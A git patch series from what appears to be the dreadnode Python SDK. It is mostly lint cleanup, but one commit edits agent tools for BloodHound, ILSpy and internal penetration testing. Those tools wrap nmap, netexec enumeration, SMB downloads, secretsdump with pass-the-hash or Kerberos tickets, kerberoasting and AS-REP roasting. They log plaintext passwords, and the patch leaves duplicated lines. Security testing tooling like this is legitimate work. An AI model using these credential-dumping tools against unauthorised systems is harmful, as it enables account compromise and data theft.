str, str | None, int | None, in image_format = self._format or format_part # Decode the base64 string - # TODO(@raja): See if we could optimize this # noqa: TD003 + # TODO(@raja): See if we could optimize this image_bytes = base64.b64decode(encoded) # Open with PIL to get properties @@ -253,8 +253,8 @@ def _generate_metadata( self, image_format: str, mode: str | None, width: int | None, height: int | None ) -> dict[str, str | int | None]: """Generate metadata for the image.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 - import PIL.Image # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] + import PIL.Image # type: ignore[import,unused-ignore] metadata: dict[str, str | int | None] = { "extension": image_format.lower(), @@ -313,7 +313,7 @@ def _ensure_valid_image_array( self, array: "np.ndarray[t.Any, np.dtype[t.Any]]" ) -> "np.ndarray[t.Any, np.dtype[t.Any]]": """Convert numpy array to a format suitable for PIL.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] grayscale_dim = 2 rgb_dim = 3 diff --git a/dreadnode/data_types/table.py b/dreadnode/data_types/table.py index b1d9b216..2b4c7dcb 100644 --- a/dreadnode/data_types/table.py +++ b/dreadnode/data_types/table.py @@ -78,8 +78,8 @@ def _to_dataframe(self) -> "pd.DataFrame": Returns: A pandas DataFrame representation of the input data """ - import numpy as np # noqa: PLC0415 - import pandas as pd # noqa: PLC0415 + import numpy as np + import pandas as pd if isinstance(self._data, pd.DataFrame): return self._data @@ -134,8 +134,8 @@ def _generate_metadata(self, data_frame: "pd.DataFrame") -> dict[str, t.Any]: Returns: A dictionary of metadata """ - import numpy as np # noqa: PLC0415 - import pandas as pd # noqa: PLC0415 + import numpy as np + import pandas as pd metadata = { "extension": self._format, diff --git a/dreadnode/data_types/video.py b/dreadnode/data_types/video.py index 7b46ee59..ee62a0cb 100644 --- a/dreadnode/data_types/video.py +++ b/dreadnode/data_types/video.py @@ -62,14 +62,14 @@ def to_serializable(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] try: - from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] VideoClip, ) except ImportError: - VideoClip = None # noqa: N806 + VideoClip = None if isinstance(self._data, (str, Path)) and Path(self._data).exists(): return self._process_file_path() @@ -122,7 +122,7 @@ def _process_numpy_array(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] if not self._fps: raise ValueError("fps is required for numpy array video frames") @@ -137,7 +137,7 @@ def _process_numpy_array(self) -> tuple[bytes, dict[str, t.Any]]: def _extract_frames_from_data(self) -> "list[NDArray[t.Any]]": """Extract frames from numpy array or list data.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] frames = [] rgb_dim = 3 @@ -159,10 +159,10 @@ def _create_video_from_frames_data( self, frames: "list[NDArray[t.Any]]" ) -> tuple[bytes, dict[str, t.Any]]: """Create video file from frames.""" - import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 + import numpy as np # type: ignore[import,unused-ignore] try: - from moviepy.video.io import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + from moviepy.video.io import ( # type: ignore[import,unused-ignore,import-untyped] ImageSequenceClip, ) except ImportError as e: @@ -211,7 +211,7 @@ def _process_moviepy_clip(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - from moviepy.video.VideoClip import ( # noqa: PLC0415 + from moviepy.video.VideoClip import ( VideoClip, # type: ignore[import,unused-ignore] ) diff --git a/dreadnode/lookup.py b/dreadnode/lookup.py index 1f6bc86a..82008c2e 100644 --- a/dreadnode/lookup.py +++ b/dreadnode/lookup.py @@ -101,7 +101,7 @@ def resolve(self) -> t.Any: if self.process: try: processed_value = self.process(raw_value) - except Exception as e: # noqa: BLE001 + except Exception as e: warn_at_user_stacklevel( f"Error processing Lookup('{self.name}'): {e}", LookupWarning ) diff --git a/dreadnode/main.py b/dreadnode/main.py index 759b1b16..6af636f4 100644 --- a/dreadnode/main.py +++ b/dreadnode/main.py @@ -410,7 +410,7 @@ def api(self, *, server: str | None = None, token: str | None = None) -> ApiClie return self._api def _get_tracer(self, *, is_span_tracer: bool = True) -> "Tracer": - return self._logfire._tracer_provider.get_tracer( # noqa: SLF001 + return self._logfire._tracer_provider.get_tracer( self.otel_scope, VERSION, is_span_tracer=is_span_tracer, @@ -769,7 +769,7 @@ def run( self.configure() if name is None: - name = f"{coolname.generate_slug(2)}-{random.randint(100, 999)}" # noqa: S311 # nosec + name = f"{coolname.generate_slug(2)}-{random.randint(100, 999)}" # nosec return RunSpan( name=name, @@ -942,7 +942,7 @@ def log_params(self, **params: JsonValue) -> None: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -1033,7 +1033,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, diff --git a/dreadnode/scorers/classification.py b/dreadnode/scorers/classification.py index c90a6a4b..418081b6 100644 --- a/dreadnode/scorers/classification.py +++ b/dreadnode/scorers/classification.py @@ -33,7 +33,7 @@ def zero_shot_classification( ) try: - from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] # noqa: PLC0415 + from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] pipeline, ) except ImportError: diff --git a/dreadnode/scorers/format.py b/dreadnode/scorers/format.py index 44911cb5..cb80af47 100644 --- a/dreadnode/scorers/format.py +++ b/dreadnode/scorers/format.py @@ -53,7 +53,7 @@ def evaluate(data: t.Any) -> Metric: text = text.removesuffix("\n```") try: - ET.fromstring(text) # noqa: S314 # nosec + ET.fromstring(text) # nosec return Metric(value=1.0) except ET.ParseError as e: return Metric(value=0.0, attributes={"error": str(e)}) diff --git a/dreadnode/scorers/harm.py b/dreadnode/scorers/harm.py index 744d6360..371e558c 100644 --- a/dreadnode/scorers/harm.py +++ b/dreadnode/scorers/harm.py @@ -31,7 +31,7 @@ def detect_harm_with_openai( model: The moderation model to use. name: Name of the scorer. """ - import openai # noqa: PLC0415 + import openai async def evaluate(data: t.Any) -> Metric: text = str(data) diff --git a/dreadnode/scorers/pii.py b/dreadnode/scorers/pii.py index 7ce781aa..e8eaa7bd 100644 --- a/dreadnode/scorers/pii.py +++ b/dreadnode/scorers/pii.py @@ -62,10 +62,10 @@ def detect_pii( def _get_presidio_analyzer() -> "AnalyzerEngine": """Lazily initializes and returns a singleton Presidio AnalyzerEngine instance.""" - global g_analyzer_engine # noqa: PLW0603 + global g_analyzer_engine - from presidio_analyzer import AnalyzerEngine # noqa: PLC0415 - from presidio_analyzer.nlp_engine import NlpEngineProvider # noqa: PLC0415 + from presidio_analyzer import AnalyzerEngine + from presidio_analyzer.nlp_engine import NlpEngineProvider if g_analyzer_engine is None: provider = NlpEngineProvider( @@ -108,7 +108,7 @@ def detect_pii_with_presidio( ) try: - import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401, PLC0415 + import presidio_analyzer # type: ignore[import-not-found,unused-ignore] except ImportError: warn_at_user_stacklevel(presidio_import_error_msg, UserWarning) diff --git a/dreadnode/scorers/rigging.py b/dreadnode/scorers/rigging.py index c3cd0b6d..dc9a6851 100644 --- a/dreadnode/scorers/rigging.py +++ b/dreadnode/scorers/rigging.py @@ -43,7 +43,7 @@ def wrap_chat( """ async def evaluate(chat: "Chat") -> Metric: - from rigging.chat import Chat # noqa: PLC0415 + from rigging.chat import Chat # Fall through to the inner scorer if chat is not a Chat instance if not isinstance(chat, Chat): diff --git a/dreadnode/scorers/similarity.py b/dreadnode/scorers/similarity.py index 116c5067..0eb53864 100644 --- a/dreadnode/scorers/similarity.py +++ b/dreadnode/scorers/similarity.py @@ -217,7 +217,7 @@ def similarity_with_litellm( or self-hosted models. name: Name of the scorer. """ - import litellm # noqa: PLC0415 + import litellm async def evaluate(data: t.Any) -> Metric: nonlocal reference, model diff --git a/dreadnode/serialization.py b/dreadnode/serialization.py index a91b327e..a90610cf 100644 --- a/dreadnode/serialization.py +++ b/dreadnode/serialization.py @@ -77,7 +77,7 @@ def _handle_sequence( non_empty_schemas_found = True schema: JsonDict = {"type": "array"} - if obj_type != list: # noqa: E721 + if obj_type != list: schema["title"] = obj_type.__name__ type_name_map = {tuple: "tuple", set: "set", frozenset: "set", deque: "deque"} schema["x-python-datatype"] = type_name_map.get(obj_type, obj_type.__name__) @@ -153,7 +153,7 @@ def _handle_bytes( try: serialized = obj.decode() if not serialized.isprintable(): - raise ValueError("Non-printable characters found") # noqa: TRY301 + raise ValueError("Non-printable characters found") except (UnicodeDecodeError, ValueError): serialized = base64.b64encode(obj).decode() schema["format"] = "base64" @@ -317,14 +317,14 @@ def _handle_dataclass(obj: t.Any, seen: set[int]) -> tuple[JsonValue, JsonDict]: def _handle_attrs(obj: t.Any, seen: set[int]) -> tuple[JsonValue, JsonDict]: - import attrs # noqa: PLC0415 + import attrs keys = [f.name for f in attrs.fields(obj.__class__)] return _handle_custom_object(obj, keys, seen, "attrs") def _handle_pydantic_model(obj: t.Any, _seen: set[int]) -> tuple[JsonValue, JsonDict]: - import pydantic # noqa: PLC0415 + import pydantic if not isinstance(obj, pydantic.BaseModel): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -345,7 +345,7 @@ def _handle_numpy_array( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import numpy # noqa: ICN001, PLC0415 + import numpy if not isinstance(obj, numpy.ndarray): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -363,7 +363,7 @@ def _handle_pandas_dataframe( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import pandas as pd # noqa: PLC0415 + import pandas as pd if not isinstance(obj, pd.DataFrame): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -378,7 +378,7 @@ def _handle_pandas_series( obj: t.Any, seen: set[int], ) -> tuple[JsonValue, JsonDict]: - import pandas as pd # noqa: PLC0415 + import pandas as pd if not isinstance(obj, pd.Series): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -390,7 +390,7 @@ def _handle_pandas_series( def _handle_dataset(obj: t.Any, _seen: set[int]) -> tuple[JsonValue, JsonDict]: - import datasets # type: ignore[import-untyped] # noqa: PLC0415 + import datasets # type: ignore[import-untyped] if not isinstance(obj, datasets.Dataset): return safe_repr(obj), UNKNOWN_OBJECT_SCHEMA @@ -453,7 +453,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: # Pydantic with contextlib.suppress(Exception): - import pydantic # noqa: PLC0415 + import pydantic handlers[pydantic.NameEmail] = lambda o, s: _handle_str_based( o, @@ -478,7 +478,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: handlers[pydantic.BaseModel] = _handle_pydantic_model with contextlib.suppress(Exception): - import numpy as np # noqa: PLC0415 + import numpy as np handlers[np.ndarray] = _handle_numpy_array handlers[np.floating] = lambda o, s: _serialize(float(o), s) @@ -496,13 +496,13 @@ def _get_handlers() -> dict[type, HandlerFunc]: ) with contextlib.suppress(Exception): - import pandas as pd # noqa: PLC0415 + import pandas as pd handlers[pd.DataFrame] = _handle_pandas_dataframe handlers[pd.Series] = _handle_pandas_series with contextlib.suppress(Exception): - import datasets # noqa: PLC0415 + import datasets handlers[datasets.Dataset] = _handle_dataset @@ -515,7 +515,7 @@ def _get_handlers() -> dict[type, HandlerFunc]: # Core functions -def _serialize(obj: t.Any, seen: set[int] | None = None) -> tuple[JsonValue, JsonDict]: # noqa: PLR0911 +def _serialize(obj: t.Any, seen: set[int] | None = None) -> tuple[JsonValue, JsonDict]: # Primitives early if isinstance(obj, str | int | float | bool) or obj is None: @@ -642,11 +642,11 @@ def serialize(obj: t.Any, *, schema_extras: JsonDict | None = None) -> Serialize data_hash = EMPTY_HASH if serialized is not None: - data_hash = hashlib.sha1(serialized_bytes).hexdigest()[:16] # noqa: S324 # nosec (using sha1 for speed) + data_hash = hashlib.sha1(serialized_bytes).hexdigest()[:16] # nosec (using sha1 for speed) schema_hash = EMPTY_HASH if schema and schema != EMPTY_SCHEMA: - schema_hash = hashlib.sha1(schema_str.encode()).hexdigest()[:16] # noqa: S324 # nosec + schema_hash = hashlib.sha1(schema_str.encode()).hexdigest()[:16] # nosec return Serialized( data=serialized, diff --git a/dreadnode/task.py b/dreadnode/task.py index 9c41523f..6040c6be 100644 --- a/dreadnode/task.py +++ b/dreadnode/task.py @@ -422,7 +422,7 @@ async def try_run(self, *args: P.args, **kwargs: P.kwargs) -> TaskSpan[R] | None """ try: return await self.run(*args, **kwargs) - except Exception: # noqa: BLE001 + except Exception: warn_at_user_stacklevel( f"Task '{self.name}' ({self.label}) failed:\n{traceback.format_exc()}", TaskFailedWarning, diff --git a/dreadnode/tracing/exporters.py b/dreadnode/tracing/exporters.py index 0d91f726..0d95eea3 100644 --- a/dreadnode/tracing/exporters.py +++ b/dreadnode/tracing/exporters.py @@ -52,8 +52,8 @@ def file(self) -> IO[str]: def _receive_metrics( self, metrics_data: MetricsData, - timeout_millis: float = 10_000, # noqa: ARG002 - **kwargs: t.Any, # noqa: ARG002 + timeout_millis: float = 10_000, + **kwargs: t.Any, ) -> None: if metrics_data is None: return @@ -64,13 +64,13 @@ def _receive_metrics( with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export metrics: {e}") def shutdown( self, - timeout_millis: float = 30_000, # noqa: ARG002 - **kwargs: t.Any, # noqa: ARG002 + timeout_millis: float = 30_000, + **kwargs: t.Any, ) -> None: with self._lock: if self._file: @@ -99,14 +99,14 @@ def export(self, spans: Sequence[ReadableSpan]) -> SpanExportResult: with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export spans: {e}") return SpanExportResult.FAILURE return SpanExportResult.SUCCESS def force_flush( self, - timeout_millis: float = 30_000, # noqa: ARG002 + timeout_millis: float = 30_000, ) -> bool: return True # We flush above @@ -138,14 +138,14 @@ def export(self, batch: Sequence[LogData]) -> LogExportResult: with self._lock: self.file.write(json_str + "\n") self.file.flush() - except Exception as e: # noqa: BLE001 + except Exception as e: logger.error(f"Failed to export logs: {e}") return LogExportResult.FAILURE return LogExportResult.SUCCESS def force_flush( self, - timeout_millis: float = 30_000, # noqa: ARG002 + timeout_millis: float = 30_000, ) -> bool: return True diff --git a/dreadnode/tracing/span.py b/dreadnode/tracing/span.py index 7dc086b2..ca4e4ad7 100644 --- a/dreadnode/tracing/span.py +++ b/dreadnode/tracing/span.py @@ -570,7 +570,7 @@ def log_object( # Create a composite key that represents both data and schema hash_input = f"{data_hash}:{schema_hash}" - composite_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + composite_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec # Store schema if new if schema_hash not in self._object_schemas: @@ -735,7 +735,7 @@ def metrics(self) -> MetricsDict: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -759,7 +759,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, @@ -879,9 +879,9 @@ def __enter__(self) -> te.Self: self._parent_task = current_task_span.get() if self._parent_task is not None: self.set_attribute(SPAN_ATTRIBUTE_PARENT_TASK_ID, self._parent_task.span_id) - self._parent_task._tasks.append(self) # noqa: SLF001 + self._parent_task._tasks.append(self) elif self._run: - self._run._tasks.append(self) # noqa: SLF001 + self._run._tasks.append(self) self._context_token = current_task_span.set(self) return super().__enter__() @@ -1011,7 +1011,7 @@ def metrics(self) -> dict[str, list[Metric]]: def log_metric( self, name: str, - value: float | bool, # noqa: FBT001 + value: float | bool, *, step: int = 0, origin: t.Any | None = None, @@ -1033,7 +1033,7 @@ def log_metric( def log_metric( self, name: str, - value: float | bool | Metric, # noqa: FBT001 + value: float | bool | Metric, *, step: int = 0, origin: t.Any | None = None, diff --git a/dreadnode/util.py b/dreadnode/util.py index b88640d3..8143bbca 100644 --- a/dreadnode/util.py +++ b/dreadnode/util.py @@ -40,7 +40,7 @@ is_user_code = _is_user_code -import dreadnode # noqa: E402 +import dreadnode warn_at_user_stacklevel = _warn_at_user_stacklevel @@ -108,7 +108,7 @@ def safe_repr(obj: t.Any) -> str: try: result = repr(obj) - except Exception: # noqa: BLE001 + except Exception: result = "" if result: @@ -116,7 +116,7 @@ def safe_repr(obj: t.Any) -> str: try: return f"<{type(obj).__name__} object>" - except Exception: # noqa: BLE001 + except Exception: return "" @@ -213,7 +213,7 @@ async def join_generators( *generators: The asynchronous generators to join. """ - FINISHED = object() # sentinel object to indicate a generator has finished # noqa: N806 + FINISHED = object() # sentinel object to indicate a generator has finished queue = asyncio.Queue[T | object | Exception](maxsize=1) async def _queue_generator( @@ -223,7 +223,7 @@ async def _queue_generator( async with aclosing(generator) as gen: async for item in gen: await queue.put(item) - except Exception as e: # noqa: BLE001 + except Exception as e: await queue.put(e) finally: await queue.put(FINISHED) @@ -276,11 +276,11 @@ def log_internal_error() -> None: try: current_test = os.environ.get("PYTEST_CURRENT_TEST", "") reraise = bool(current_test and "test_internal_exception" not in current_test) - except Exception: # noqa: BLE001 + except Exception: reraise = False if reraise: - raise # noqa: PLE0704 + raise with suppress_instrumentation(): # prevent infinite recursion from the logging integration logger.exception( @@ -313,22 +313,22 @@ def _internal_error_exc_info() -> SysExcInfo: # Now add useful outer frames that give context, but skipping frames that are just about handling the error. frame = inspect.currentframe() # Skip this frame right here. - assert frame # noqa: S101 + assert frame frame = frame.f_back if frame and frame.f_code is log_internal_error.__code__: # pragma: no branch # This function is always called from log_internal_error, so skip that frame. frame = frame.f_back - assert frame # noqa: S101 + assert frame if frame.f_code is _HANDLE_INTERNAL_ERRORS_CODE: # Skip the line in _handle_internal_errors that calls log_internal_error frame = frame.f_back # Skip the frame defining the _handle_internal_errors context manager - assert frame # noqa: S101 - assert frame.f_code.co_name == "__exit__" # noqa: S101 + assert frame + assert frame.f_code.co_name == "__exit__" frame = frame.f_back - assert frame # noqa: S101 + assert frame # Skip the frame calling the context manager, on the `with` line. frame = frame.f_back else: @@ -357,11 +357,11 @@ def _internal_error_exc_info() -> SysExcInfo: ) frame = frame.f_back - assert exc_type # noqa: S101 - assert exc_val # noqa: S101 + assert exc_type + assert exc_val exc_val = exc_val.with_traceback(tb) - return exc_type, exc_val, tb # noqa: TRY300 - except Exception: # noqa: BLE001 + return exc_type, exc_val, tb + except Exception: return original_exc_info @@ -369,7 +369,7 @@ def _internal_error_exc_info() -> SysExcInfo: def handle_internal_errors() -> t.Iterator[None]: try: yield - except Exception: # noqa: BLE001 + except Exception: log_internal_error() @@ -431,7 +431,7 @@ def test_connection(endpoint: str) -> bool: try: parsed = urlparse(endpoint) socket.create_connection((parsed.hostname, parsed.port or 443), timeout=1) - except Exception: # noqa: BLE001 + except Exception: return False return True From 98e7ece1a34fb7ee18d46f88200fba11cde3efee Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 19:24:58 -0600 Subject: [PATCH 16/60] fix linting --- dreadnode/agent/tools/base.py | 4 +- dreadnode/agent/tools/bloodhound/tool.py | 59 ++++--- dreadnode/agent/tools/ilspy/tool.py | 19 +-- .../agent/tools/pentest/internal/__init__.py | 0 .../agent/tools/pentest/internal/tool.py | 146 ++++-------------- pyproject.toml | 1 + 6 files changed, 70 insertions(+), 159 deletions(-) create mode 100644 dreadnode/agent/tools/pentest/internal/__init__.py diff --git a/dreadnode/agent/tools/base.py b/dreadnode/agent/tools/base.py index e55eeaff..ee5a6768 100644 --- a/dreadnode/agent/tools/base.py +++ b/dreadnode/agent/tools/base.py @@ -7,8 +7,8 @@ from dreadnode.agent.configurable import CONFIGURABLE_ATTR, configurable -Tool = tools.Tool # redefine for export -tool = tools.tool # redefine for export +Tool = tools.Tool # noqa: F811 +tool = tools.tool AnyTool = Tool[t.Any, t.Any] diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py index c1594130..954b9ce5 100644 --- a/dreadnode/agent/tools/bloodhound/tool.py +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -2,6 +2,7 @@ import json import os import time +from pathlib import Path import aiohttp import rich @@ -907,12 +908,11 @@ async def find_paths_user_to_user( @tool_method() async def upload_collection_zip(self, filename: str) -> dict: - """Upload a Bloodhound collection zip file (that was collected via the SharpHound tool.)""" + """Upload a Bloodhound collection zip file (that was collected via SharpHound)""" if self._api_auth_token is None or self._api_auth_token.get("auth_expired", True): await self._api_authenticate() - # 1. start Bloodhound server upload job start_job = { "url": f"http://{self.config['url']}/api/v2/file-upload/start", "headers": { @@ -931,7 +931,7 @@ async def upload_collection_zip(self, filename: str) -> dict: return err_msg # 2. upload Bloodhound collection files - upload_fn = os.path.abspath(filename) + upload_fn = Path.resolve(filename) upload_job = { "url": f"http://{self.config['url']}/api/v2/file-upload/{job_record['id']}", "headers": { @@ -962,7 +962,6 @@ async def upload_collection_zip(self, filename: str) -> dict: } end_job_record = await self._async_post_request(resp_type="text", **end_job) - # wait for upload to complete upload_job_done, upload_job_status = await self.wait_for_upload_completion( job_id=job_record["id"], seconds=60 ) @@ -1022,42 +1021,40 @@ async def upload_job_status(self, job_id: int) -> tuple[bool, dict]: }, } job_statuses = await self._async_get_request(resp_type="json", **upload_status_job) - job_status = [j for j in job_statuses["data"] if j["id"] == job_id][0] + job_status = next(j for j in job_statuses["data"] if j["id"] == job_id) job_done = True if job_status["status"] == 2 else False return job_done, job_status - async def _async_get_request(self, resp_type: str = None, **kwargs) -> dict: - """ """ - async with aiohttp.ClientSession() as session: - async with session.get(**kwargs) as resp: - if resp_type == "json": - return await resp.json() - if resp_type == "text": - return await resp.text() - return str(resp) - - async def _async_post_request(self, resp_type: str = None, **kwargs) -> dict: + async def _async_get_request(self, resp_type: str | None = None, **kwargs) -> dict: """ """ + async with aiohttp.ClientSession() as session, session.get(**kwargs) as resp: + if resp_type == "json": + return await resp.json() + if resp_type == "text": + return await resp.text() + return str(resp) + + async def _async_post_request(self, resp_type: str | None = None, **kwargs) -> dict: response = None - async with aiohttp.ClientSession() as session: - async with session.post(**kwargs) as resp: - if resp_type == "json": - response = await resp.json() - elif resp_type == "text": - response = await resp.text() - else: - response = str(resp) + async with aiohttp.ClientSession() as session, session.post(**kwargs) as resp: + if resp_type == "json": + response = await resp.json() + elif resp_type == "text": + response = await resp.text() + else: + response = str(resp) return response async def _async_post_file(self, url: str, filename: str, **kwargs) -> dict: - """ """ response = None - with open(filename, "rb") as fh: - async with aiohttp.ClientSession() as session: - async with session.post(url, data=fh, **kwargs) as resp: - if resp.status != 202: - resp.raise_for_status() - response = resp + with Path.open(filename, "rb") as fh: + async with ( + aiohttp.ClientSession() as session, + session.post(url, data=fh, **kwargs) as resp, + ): + if resp.status != 202: + resp.raise_for_status() + response = resp return response def _rich_print(self, text: str): diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py index 56ae3f55..dd0924c7 100644 --- a/dreadnode/agent/tools/ilspy/tool.py +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -13,7 +13,7 @@ load("coreclr") -import clr # type: ignore [import-untyped] +import clr # type: ignore [import-untyped] # noqa: E402 lib_dir = Path(__file__).parent / "bin" sys.path.append(str(lib_dir)) @@ -22,19 +22,19 @@ clr.AddReference("Mono.Cecil") -from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] +from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] # noqa: E402 DecompilerSettings, ) -from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] +from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] # noqa: E402 CSharpDecompiler, ) -from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] +from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] # noqa: E402 MetadataTokenHelpers, ) -from ICSharpCode.Decompiler.TypeSystem import ( - FullTypeName, # type: ignore [import-not-found] +from ICSharpCode.Decompiler.TypeSystem import ( # type: ignore [import-not-found] # noqa: E402 + FullTypeName, ) -from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] +from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # noqa: E402 # Helpers @@ -63,10 +63,7 @@ def _find_references(assembly: AssemblyDefinition, search: str) -> list[str]: using_methods: set[str] = set() for module in assembly.Modules: - methods = [] - for module_type in module.Types: - for method in module_type.Methods: - methods.append(method) + methods = [method for module_type in module.Types for method in module_type.Methods] for method in methods: if not method.HasBody: diff --git a/dreadnode/agent/tools/pentest/internal/__init__.py b/dreadnode/agent/tools/pentest/internal/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py index c8a331e1..05bf6f9c 100644 --- a/dreadnode/agent/tools/pentest/internal/tool.py +++ b/dreadnode/agent/tools/pentest/internal/tool.py @@ -1,7 +1,6 @@ import os import subprocess import tempfile -import time from pathlib import Path from loguru import logger @@ -28,7 +27,7 @@ def nmap_scan(target: str) -> str: try: logger.info("[*] Scanning targets...") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 if result.returncode != 0: logger.error(f"[!] Nmap scan failed: {result.stderr}") @@ -76,13 +75,13 @@ def enumerate_users_netexec(target: str, username: str, password: str, domain: s cmd.append("--users") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 logger.info( f"[*] Netexec user enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" ) except subprocess.TimeoutExpired: - raise TimeoutError(f"User enumeration timed out for {target}") + raise TimeoutError(f"User enumeration timed out for {target}") from None except Exception as e: logger.error( f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" @@ -125,13 +124,13 @@ def enumerate_shares_netexec( cmd.append("--shares") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 logger.info( f"[*] Netexec share enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" ) except subprocess.TimeoutExpired: - raise TimeoutError(f"Share enumeration timed out for {target}") + raise TimeoutError(f"Share enumeration timed out for {target}") from None except Exception as e: logger.error( f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" @@ -173,7 +172,7 @@ def enumerate_share_files( ] logger.info(f"[*] Enumerating files in {share_path}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 if result.returncode != 0: logger.error(f"[!] Failed to list files: {result.stderr}") @@ -191,12 +190,7 @@ def enumerate_share_files( @tool() def download_file_content( - target: str, - share_name: str, - file_path: str, - username: str, - password: str, - max_size_mb: int = 5, + target: str, share_name: str, file_path: str, username: str, password: str ) -> str: """ Download and return the content of a file from an SMB share. @@ -226,7 +220,7 @@ def download_file_content( ] logger.info(f"[*] Downloading {file_path} from {share_path}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 if result.returncode != 0: logger.error(f"[!] Failed to download file: {result.stderr}") @@ -254,7 +248,8 @@ def secretsdump( password: str | None = None, hash: str | None = None, domain: str | None = None, - no_pass: bool = False, + *, + use_kerberos: bool = False, timeout_minutes: int = 10, ) -> str: """ @@ -284,12 +279,12 @@ def secretsdump( target_string = f"{domain}/{username}@{target}" elif hash and not domain: cmd.extend(["-hashes", f":{hash}"]) - target_string = f"{username}@{target}" # assumes golden ticket - elif no_pass: + elif use_kerberos: cmd.extend(["-k", "-no-pass"]) target_string = f"{username}@{target}" else: + raise ValueError("Either password or hash or use_kerberos must be provided") raise ValueError("Either password or hash or no_pass must be provided") cmd.append(target_string) @@ -297,13 +292,13 @@ def secretsdump( try: logger.info(f"[*] Running secretsdump on {target} with {username}") logger.info(f"[*] Command: {cmd}") - # Set up environment for Kerberos authentication if using golden ticket - env = os.environ.copy() if no_pass else None - if no_pass and env is not None: + env = os.environ.copy() if use_kerberos else None + if use_kerberos and env is not None: + env["KRB5CCNAME"] = "Administrator.ccache" env["KRB5CCNAME"] = "Administrator.ccache" - result = subprocess.run( + result = subprocess.run( # noqa: S603 cmd, check=False, capture_output=True, text=True, timeout=timeout_minutes * 60, env=env ) @@ -347,7 +342,7 @@ def kerberoast( try: logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 return result.stdout except subprocess.TimeoutExpired: @@ -394,14 +389,14 @@ def asrep_roast( temp_userfile = None if user_list: - temp_userfile = 